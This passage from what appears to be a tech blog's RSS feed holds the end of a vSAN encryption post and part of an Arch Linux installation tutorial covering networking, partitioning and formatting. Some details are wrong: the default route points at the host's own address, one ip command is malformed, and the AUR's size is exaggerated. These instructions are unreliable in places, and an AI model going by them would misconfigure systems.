&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- 4KB sequential write results &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; vSAN – slight-small impact on storage throughput and latency, small-medium impact on CPU
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The results with VSAN varied a bit based on the number of workers used, with less workers (1) there was only a slight impact, as you added more work workers there was more impact to throughput, latency and CPU overhead.Overall though the impact was more reasonable at 10-20%.&lt;/p&gt;
&lt;p&gt;Now your mileage will of course vary based on many factors such as your workload characteristics and hardware configurations but overall the faster your storage and the slower your CPUs and # of them the more performance penalty you can be expected to encounter. If you have a need for encryption and the extra security it provides it’s just the price you pay, how you use it is up to you. With whole VM’s being capable of slipping out of your data center over a wire or in someone’s pocket, encryption is invaluable protection for your sensitive data.&lt;/p&gt;
&lt;p&gt;Is encryption something you&amp;rsquo;d like to setup on your vSAN? I can answer any questions about vSAN encryption or vSAN itself - get in touch @wilk_it_wizard or #sshguru&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Arch Linux Installation for Newbs</title>
      <link>/posts/200801-arch-linux-install/</link>
      <pubDate>Sat, 01 Aug 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/200801-arch-linux-install/</guid>
      <description>Arch Linux - the best (and the worst) Linux there is! Why is it the best and the worst at the same time you ask? Let me explain&amp;hellip;
Arch Linux is the best The design approach of the Arch development team follows the KISS principle (&amp;ldquo;keep it simple, stupid&amp;rdquo;) as the general guideline, and focuses on elegance, code correctness, minimalism and simplicity, and expects the user to be willing to make some effort to understand the system&amp;rsquo;s operation.</description>
      <content>&lt;p&gt;Arch Linux - the best (and the worst) Linux there is! Why is it the best and the worst at the same time you ask? Let me explain&amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;arch-linux-is-the-best&#34;&gt;Arch Linux is the best&lt;/h2&gt;
&lt;p&gt;The design approach of the Arch development team follows the KISS principle (&amp;ldquo;keep it simple, stupid&amp;rdquo;) as the general guideline, and focuses on elegance, code correctness, minimalism and simplicity, and expects the user to be willing to make some effort to understand the system&amp;rsquo;s operation. This makes the OS perfect for anyone trying to understand how Linux works after learning the basics on Ubuntu/Debian/Fedora etc. and to all Linux gurus tired of distributions forcing them to constantly adjust to the standards dictated by the development team, getting locked-out of some packages etc.&lt;/p&gt;
&lt;p&gt;Arch Linux, by definition, is what Linux is truly about - freedom. Nobody&amp;rsquo;s going to tell you what packages you have to use, what GUI to choose or what you can and cannot do with your OS. The distribution might seem to be rough around the edges and brutal, however once you learn it, you will definitely appreciate the cutting edge Linux performance which it is capable of.&lt;/p&gt;
&lt;h2 id=&#34;arch-linux-is-the-worst&#34;&gt;Arch Linux is the worst&lt;/h2&gt;
&lt;p&gt;At the same time, Arch Linux is not a good operating system if you expect it to be stable straight out of the box, have excellent support or be enterprise ready.&lt;/p&gt;
&lt;p&gt;While Arch has one of the best wikis out of all Linux distributions, covering nearly anything you could possibly imagine, there&amp;rsquo;s no organization or company behind it. Even if you&amp;rsquo;d be willing to pay for the support, you just won&amp;rsquo;t get it - it&amp;rsquo;s not how Arch works. If you ever get stuck or your Arch crashes, the best what you can hope for is getting help from the official forum from some other individual user like you.&lt;/p&gt;
&lt;p&gt;Having all that said, I wouldn&amp;rsquo;t recommend Arch as the OS for Linux beginners or production-critical servers (unless you are ready to provide the complete support yourself).&lt;/p&gt;
&lt;h2 id=&#34;keep-on-rolling-babe&#34;&gt;Keep on rolling babe!&lt;/h2&gt;
&lt;p&gt;Arch Linux uses a rolling release model, such that a regular system update is all that is needed to obtain the latest Arch software; the installation images released by the Arch team are simply up-to-date snapshots of the main system components. The installation wizard of the OS is as simple as it can get - there is none! We&amp;rsquo;ll get to this later.&lt;/p&gt;
&lt;h2 id=&#34;the-arch-user-repository---the-holy-grail&#34;&gt;The Arch User Repository - The Holy Grail&lt;/h2&gt;
&lt;p&gt;In addition to the repositories, the Arch User Repository (AUR) provides user-made PKGBUILD scripts for packages not included in the repositories. These PKGBUILD scripts simplify building from source by explicitly listing and checking for dependencies and configuring the install to match the Arch architecture.&lt;/p&gt;
&lt;p&gt;The AUR is the biggest Linux repository around, hosting millions upon millions of PKGBUILDs which make the Arch Linux the most &amp;ldquo;app-rich&amp;rdquo; Linux in existence.&lt;/p&gt;
&lt;p&gt;PKGBUILDs for any software can be contributed by ordinary users and any PKGBUILD that is not confined to the Arch User Repository for policy reasons can be voted into the community repositories.&lt;/p&gt;
&lt;p&gt;I am myself an AUR maintainer (which means I am responsible for keeping some of the PKGBUILDs up to date) for the following packages (some of which you might quickly recognise):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;vision-client - Desktop email client for the Exchange OWA&lt;/li&gt;
&lt;li&gt;bin32-vmware-server-console -	Remote console for VMware Server&lt;/li&gt;
&lt;li&gt;webvirtmgr - Web front-end for KVM virtual machines&lt;/li&gt;
&lt;li&gt;vmware-vcli - VMware vSphere Command-Line Interface (vCLI)&lt;/li&gt;
&lt;li&gt;ffmpeg0.10 - Complete solution to record, convert and stream audio and video&lt;/li&gt;
&lt;li&gt;belle-sip	- A Voice-over-IP phone&lt;/li&gt;
&lt;li&gt;xvkbd -	Virtual (graphical) keyboard program for X Window System&lt;/li&gt;
&lt;li&gt;google-keep-desktop -	Google Keep packaged as a desktop application&lt;/li&gt;
&lt;li&gt;libview -	A collection of widgets that were developed at VMware&lt;/li&gt;
&lt;li&gt;vmware-vsphere-web-client-plugin -	Firefox and Chromium plugin, to access virtual machines console from vSphere Web Client&lt;/li&gt;
&lt;li&gt;canon-pixma-mg5300-complete -	Complete stand alone driver set (printing and scanning) for Canon Pixma MG5300 series&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1 id=&#34;arch-installation-tutorial&#34;&gt;Arch Installation Tutorial&lt;/h1&gt;
&lt;p&gt;Ok - enough with the intro. It&amp;rsquo;s time to get our hands dirty and start installing this beast of an operating system.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s get started by choosing where to install Arch. I recommend giving this a first try on a virtual machine, but if you wish to install it onto a desktop or a laptop, you are free to do so - the installation steps are identical in either case.&lt;/p&gt;
&lt;p&gt;Please note you will need an active internet connection to install Arch. Offline installation with the official .iso is not supported. If you are going to install Arch on a physical machine, you will also need a way to connect it to the internet over cable (ethernet/usb with tethering) as Wi-Fi drivers are not available by default.&lt;/p&gt;
&lt;h2 id=&#34;installation-media&#34;&gt;Installation Media&lt;/h2&gt;
&lt;p&gt;Download the most recent Arch Linux arch.iso from the &lt;a href=&#34;http://ftp.heanet.ie/mirrors/ftp.archlinux.org/iso/2018.08.01/archlinux-2018.08.01-x86_64.iso&#34;&gt;official repository&lt;/a&gt; and burn it to the USB drive using the following command (on Linux/macOS):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dd bs&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;4M &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;/path/to/the/arch.iso of&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;/dev/sdX status&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;progress
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;where &lt;code&gt;sdX&lt;/code&gt; is the device identifier of your USB stick (use &lt;code&gt;fdisk -l&lt;/code&gt; to find that)&lt;/p&gt;
&lt;p&gt;On Windows you can use software like &lt;a href=&#34;https://rufus.akeo.ie/&#34;&gt;Rufus&lt;/a&gt; to do the same.&lt;/p&gt;
&lt;p&gt;Obviously, if you are going to install Arch on VM, you can ignore the burning part.&lt;/p&gt;
&lt;h2 id=&#34;first-few-steps&#34;&gt;First Few Steps&lt;/h2&gt;
&lt;p&gt;Now comes the time to boot your device/VM using the USB stick/iso file. On most physical devices the boot selection screen can be reached by pressing F2/12 key. On some devices (like Lenovo laptops), you might have to press an additional security button.&lt;/p&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;p&gt;Once you boot into the drive/iso, you&amp;rsquo;ll quickly notice how simple the installation is:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/content/images/2018/08/Screenshot-from-2018-08-17-10-08-37.png&#34; alt=&#34;Screenshot-from-2018-08-17-10-08-37&#34;&gt;&lt;/p&gt;
&lt;p&gt;Yeah, that&amp;rsquo;s it - you&amp;rsquo;re now booted into a live Arch iso and from this point onwards - you are completely on your own (well, not really as I&amp;rsquo;ll be guiding you through the installation; you know what I mean).&lt;/p&gt;
&lt;h2 id=&#34;network&#34;&gt;Network&lt;/h2&gt;
&lt;p&gt;As I mentioned above, you will need stable, cabled internet access in order to install Arch Linux. If your device has no ethernet port, you will need to use an USB dongle or mobile USB tethering to proceed.&lt;/p&gt;
&lt;p&gt;After connecting the WAN cable (USB/ethernet/virtual switch), you will need to enable DHCP on the adapter to get the internet access or set a static IP address if your network does not have a DHCP server.&lt;/p&gt;
&lt;p&gt;First, run this command to get the adapter number:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# ip link&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1: lo &amp;lt;LOOPBACK, UP, LOWER_UP&amp;gt; mtu &lt;span style=&#34;color:#ae81ff&#34;&gt;65536&lt;/span&gt; qdisc noqueue state UNKNOWN mode DEFAULT group default qlen &lt;span style=&#34;color:#ae81ff&#34;&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;link/loopback 00:00:00:00:00:00:00 brd 00:00:00:00:00:00:00
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: enp0s3: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu &lt;span style=&#34;color:#ae81ff&#34;&gt;1500&lt;/span&gt; qdisc fq_codel state UP mode DEFAULT group default qlen &lt;span style=&#34;color:#ae81ff&#34;&gt;1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s analyze the output:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;1: lo&lt;/code&gt; - this is a loopback interface used for connecting from your device back to itself (loop). Have you ever used an address &lt;code&gt;//localhost&lt;/code&gt; or &lt;code&gt;127.0.0.1&lt;/code&gt;? Yeah, that&amp;rsquo;s what it is.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2: enp0s3&lt;/code&gt; - this is your adapter interface name; if you have multiple adapters (wifi, ethernet, tether), they all will appear under next numbers (&lt;code&gt;2:&lt;/code&gt;, &lt;code&gt;3:&lt;/code&gt; etc.). It&amp;rsquo;s easy to determine which address is which by analyzing the name:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;enpXXXX&lt;/code&gt; - cabled (ethernet) interface&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wlpXXXX&lt;/code&gt; - wireless (Wi-Fi) interface&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ensXXXX&lt;/code&gt; - tether interface (might also appear as enpXXXX)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Having that done, we can move on to the network configuration on the device:&lt;/p&gt;
&lt;h3 id=&#34;dhcp&#34;&gt;DHCP&lt;/h3&gt;
&lt;p&gt;To set your network interface to DHCP, you only have to run this one simple command (replace &lt;code&gt;enpXXXX&lt;/code&gt; with the interface name you&amp;rsquo;ve got from the &lt;code&gt;ip link&lt;/code&gt; output)&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root@archiso ~ # dhcpcd enpXXXXXX
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Verify if you have indeed received an IP address by running:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root@archiso ~ # ip addr

(...)
2: enp0s3: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 14:ab:c5:8c:7d:9b brd ff:ff:ff:ff:ff:ff
inet 10.0.0.1/24 brd 10.0.0.255 scope global dynamic noprefixroute enp0s3
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;static&#34;&gt;Static&lt;/h3&gt;
&lt;p&gt;To configure static IP addressing, run the following command first to configure an IP address, network mask and broadcast address:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# ip address add 10.0.0.1/24 10.0.0.255 + dev enpXXXX&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;10.0.0.1&lt;/code&gt; - replace with your desired IP address
&lt;code&gt;/24&lt;/code&gt; - replace with your network mask in the shortened format
&lt;code&gt;10.0.0.255&lt;/code&gt; - replace with your broadcast address
&lt;code&gt;enpXXXX&lt;/code&gt; - replace with network interface name we&amp;rsquo;ve got from &lt;code&gt;ip link&lt;/code&gt; output&lt;/p&gt;
&lt;p&gt;After setting  that up, we still need to configure a default route (gateway) and some DNS servers:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# ip route add default via 10.0.0.1 dev enpXXXX&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;10.0.0.1&lt;/code&gt; - replace with the IP address you&amp;rsquo;ve just configured
&lt;code&gt;enpXXXX&lt;/code&gt; - replace with the device name you&amp;rsquo;ve used in the previous step&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# echo nameserver 8.8.8.8 &amp;gt; /etc/resolv.conf&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;8.8.8.8&lt;/code&gt; - replace with your desired DNS server address or leave it as it is to use the Google one&lt;/p&gt;
&lt;p&gt;One it&amp;rsquo;s all done, restart your network interface by bringing it down and then up again:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# ip link set dev enpXXXX down&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# ip link set dev enpXXXX up&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;enpXXXX&lt;/code&gt; - replace  with you good ol&amp;rsquo; interface name&lt;/p&gt;
&lt;p&gt;Lastly, verify if your configuration worked by running:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root@archiso ~ # ip addr

(...)
2: enp0s3: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 14:ab:c5:8c:7d:9b brd ff:ff:ff:ff:ff:ff
inet 10.0.0.1/24 brd 10.0.0.255 scope global dynamic noprefixroute enp0s3
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;pre-system-configuration&#34;&gt;Pre-System Configuration&lt;/h2&gt;
&lt;p&gt;Firstly, let&amp;rsquo;s load some keyboard settings. If you&amp;rsquo;re using anything else than English keyboard, please do loop-up the codename for it (it&amp;rsquo;s usually something simple like &lt;code&gt;pl&lt;/code&gt;, &lt;code&gt;us&lt;/code&gt;, &lt;code&gt;de&lt;/code&gt;, &lt;code&gt;es&lt;/code&gt; etc.). For all the English (UK) users, this is going to be &lt;code&gt;uk&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Run the following command to load the configuration:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# loadkeys uk&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Moving on, let&amp;rsquo;s setup a time &amp;amp; date. I recommend using NTP for this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# timedatectl set-ntp true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;disk-partitioning&#34;&gt;Disk partitioning&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s start working on the disk. Before we do anything, we need to get our disk device name:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# fdisk -l&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disk /dev/sda: 238.5 GiB, &lt;span style=&#34;color:#ae81ff&#34;&gt;256060514304&lt;/span&gt; bytes, &lt;span style=&#34;color:#ae81ff&#34;&gt;500118192&lt;/span&gt; sectors
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Units: sectors of &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; * 512 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; bytes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sector size &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;logical/physical&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; bytes / &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; bytes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;I/O size &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;minimum/optimal&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; bytes / &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; bytes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On my system, this turned out to be &lt;code&gt;/dev/sda&lt;/code&gt; (as expected). You shouldn&amp;rsquo;t get anything else unless your machine has more than one disk attached to it.&lt;/p&gt;
&lt;p&gt;With that name in mind, we can finally start working on the partition table:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root@archiso ~ # fdisk /dev/sda
&lt;/code&gt;&lt;/pre&gt;&lt;!-- raw HTML omitted --&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;p&gt;Once you&amp;rsquo;ve launched &lt;code&gt;fdisk&lt;/code&gt;, we can start entering its commands into the CLI. The commands are very simple, usually one letter long. By following the steps below, you will create a partition table of:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;512MB - &lt;code&gt;/boot&lt;/code&gt; partition - used for booting into the OS&lt;/li&gt;
&lt;li&gt;2GB - &lt;code&gt;/swap&lt;/code&gt; partition - used for hibernation and many other tasks&lt;/li&gt;
&lt;li&gt;all other space - &lt;code&gt;/&lt;/code&gt; partition - the main root of the filesystem&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Having that said, let&amp;rsquo;s roll:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Creating &lt;code&gt;/boot&lt;/code&gt;:
&lt;code&gt;Command (m for help) : n&lt;/code&gt;
Press &lt;code&gt;Enter&lt;/code&gt; three times;
Enter +512M as the last parameter;
&lt;code&gt;Command (m for help) : t&lt;/code&gt;
This will set the newly created partition as &lt;code&gt;/boot&lt;/code&gt;;
Enter &lt;code&gt;1&lt;/code&gt; as the parameter to finish;&lt;/li&gt;
&lt;li&gt;Creating &lt;code&gt;/swap&lt;/code&gt;:
&lt;code&gt;Command (m for help) : n&lt;/code&gt;
Press &lt;code&gt;Enter&lt;/code&gt; three times;
Enter +2G as the last parameter;
&lt;code&gt;Command (m for help) : t&lt;/code&gt;
This will set the newly created partition as &lt;code&gt;/swap&lt;/code&gt;;
Enter &lt;code&gt;82&lt;/code&gt; as the parameter to finish;&lt;/li&gt;
&lt;li&gt;Creating &lt;code&gt;/&lt;/code&gt;:
&lt;code&gt;Command (m for help) : n&lt;/code&gt;
Press &lt;code&gt;Enter&lt;/code&gt; four times;&lt;/li&gt;
&lt;li&gt;Writing changes to disk:
&lt;code&gt;Command (m for help) : w&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can verify if all of the above worked by running &lt;code&gt;fdisk -l&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# fdisk -l&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disk /dev/sda: 238.5 GiB, &lt;span style=&#34;color:#ae81ff&#34;&gt;256060514304&lt;/span&gt; bytes, &lt;span style=&#34;color:#ae81ff&#34;&gt;500118192&lt;/span&gt; sectors
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Units: sectors of &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; * 512 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; bytes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sector size &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;logical/physical&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; bytes / &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; bytes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;I/O size &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;minimum/optimal&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; bytes / &lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt; bytes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disklabel: dos
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disk identifier: 0x45642435df
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Device     Boot     Start       End   Sectors  Size Id Type
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda1       xxxxxxxxx xxxxxxxxx   xxxxxxx  512M  &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; FAT12
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda2       xxxxxxxxx xxxxxxxxx  xxxxxxxx  2G   &lt;span style=&#34;color:#ae81ff&#34;&gt;82&lt;/span&gt; Linux swap
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda3       xxxxxxxxx xxxxxxxxx xxxxxxxxx  236G &lt;span style=&#34;color:#ae81ff&#34;&gt;83&lt;/span&gt; Linux
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;formatting-partitions&#34;&gt;Formatting Partitions&lt;/h3&gt;
&lt;p&gt;Next, we need to specify the file systems to be used on every partition. This can easily be done through &lt;code&gt;mkfs&lt;/code&gt; and &lt;code&gt;mkswap&lt;/code&gt; commands:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# mkfs.fat /dev/sda1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# mkswap /dev/sda2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# mkfs.ext4 /dev/sda3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you&amp;rsquo;ve probably guessed, we are formatting each of the partitions to a different format:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;/dev/sda1&lt;/code&gt; - as it&amp;rsquo;s the &lt;code&gt;/boot&lt;/code&gt; partition, it is recommended to keep it as &lt;code&gt;FAT12&lt;/code&gt;&lt;/li&gt;
